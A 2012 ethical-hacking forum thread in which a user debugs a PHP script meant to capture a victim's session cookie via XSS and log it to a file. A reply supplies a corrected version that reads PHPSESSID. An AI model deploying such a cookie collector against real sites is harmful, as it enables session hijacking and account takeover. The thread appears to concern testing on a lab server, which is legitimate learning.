Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 68 guests online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow php script is not getting session cookie...
EH-Net
May 22, 2013, 02:21:45 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: php script is not getting session cookie...  (Read 3007 times)
0 Members and 1 Guest are viewing this topic.
wlandymore
Newbie
*
Offline Offline

Posts: 34


View Profile
« on: April 13, 2012, 01:25:28 PM »

Hey, I've been working on this for a bit and I have a php file that I'm trying to redirect to a test server and then get the cookie with XSS basically.

My php file has:
<?php
header('Location: http://vulnerableserver.com/index.php?user1');
$cookie = INI_Get('session.cookie_httponly');
$date = date ("l ds of F Y h:i:s A");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt', 'a');
fwrite($file, "DATE : $date || USER AGENT : $user_agent || COOKIE : $cookie \n");
fclose($file);
?>

So it's writing everything else to the file but the cookie part just shows:
COOKIE:
and there is no sessionId, etc.

I tried using other things like "session_Get_Cookie_Params()" but that just gave me: COOKIE: array

If I go to the website and make a post that has a link for "alert('document.cookie')" then it spits the session ID out right away. How can I basically do the same thing only write it to the file?
Logged
BillV
Hero Member
*****
Offline Offline

Posts: 1892


View Profile WWW
« Reply #1 on: April 13, 2012, 01:59:49 PM »

Well, for one, you likely need 'session_start();' at the top of your script to even have a PHP session.

Second, use the $_COOKIE variable to grab the session identifier if that's what you're after.

I commented out your header redirect and cookie portions, rewrote with the above and echoed the session id (and your log.txt still works and writes the session ID in there).

Code:
<?php
session_start
();
//header('Location: http://vulnerableserver.com/index.php?user1');
//$cookie = INI_Get('session.cookie_httponly');
$cookie $_COOKIE['PHPSESSID'];
$date date ("l ds of F Y h:i:s A");
$user_agent $_SERVER['HTTP_USER_AGENT'];
$file fopen('log.txt''a');
fwrite($file"DATE : $date || USER AGENT : $user_agent || COOKIE : $cookie \n");
fclose($file);
echo 
$cookie;
?>

Logged
gromic
Newbie
*
Offline Offline

Posts: 38



View Profile
« Reply #2 on: April 14, 2012, 03:51:39 AM »

Hi wlandymore,

ok this might sound odd - and it's just a thought ...so don't get me wrong, but do you start your html file in a "server-context" meaning is it in your htdocs or do you just open it on your harddrive?

Since if you do the second it won't work or at least you cannot read the cookies from localhost ...(Happend to me too...an alertbox on the page worked however php script could't read cookies...).

For "debuggin" try to throw both scripts in your htdocs ... and look if the php script gets the cookies...

Don't know if this helps, was just a thought....

Cheers,
-gromic

Logged

Thinking .... Please Wait...
wlandymore
Newbie
*
Offline Offline

Posts: 34


View Profile
« Reply #3 on: April 17, 2012, 12:55:00 PM »

Thanks. It was already in the htdocs and I also tried another hosted webserver but it wasn't working. Not sure what the issue is there but it just won't get the cookie.  Cry
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.063 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Free Business and Tech Magazines and eBooks

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.